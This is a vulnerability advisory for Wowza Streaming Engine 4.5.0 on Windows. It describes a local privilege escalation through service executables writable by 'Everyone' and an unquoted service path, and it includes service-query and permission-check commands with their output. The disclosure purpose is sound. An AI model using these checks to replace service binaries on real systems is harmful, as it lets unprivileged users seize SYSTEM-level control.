Wowza Streaming Engine 4.5.0 – Local Privilege Escalation
Wowza Streaming Engine 4.5.0 Local Privilege Escalation Vendor: Wowza Media Systems, LLC. Product web page: https://www.wowza.com Affected version: Wowza Streaming Engine 4.5.0 (build 18676) Wowza Streaming Engine Manager 4.5.0 (build 18676) Summary: Wowza Streaming Engine is robust, customizable, and scalable server software that powers reliable video and audio streaming to any device. Learn the benefits of using Wowza Streaming Engine to deliver high-quality live and on-demand video content to any device. Desc: Wowza Streaming Engine suffers from an elevation of privileges vulnerability which can be used by a simple authenticated user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the 'F' flag (Full) for 'Everyone' group. In combination with insecure file permissions the application suffers from an unquoted search path issue impacting the services 'WowzaStreamingEngine450' and 'WowzaStreamingEngineManager450' for Windows deployed as part of Wowza Streaming software. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Java Version: 1.8.0_77 Java VM Version: 25.77-b03 Java Architecture: 64 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5339 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5339.php 03.07.2016 -- C:\Users\lqwrm>sc qc WowzaStreamingEngineManager450 [SC] QueryServiceConfig SUCCESS SERVICE_NAME: WowzaStreamingEngineManager450 TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Wowza Streaming Engine Manager 4.5.0 DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\lqwrm>cacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe" C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe Everyone:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Administrators:(ID)F BUILTIN\Users:(ID)R ========== C:\Users\lqwrm>sc qc WowzaStreamingEngine450 [SC] QueryServiceConfig SUCCESS SERVICE_NAME: WowzaStreamingEngine450 TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START (DELAYED) ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Wowza Streaming Engine 4.5.0 DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\lqwrm>icacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe" C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe Everyone:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) Successfully processed 1 files; Failed processing 0 files |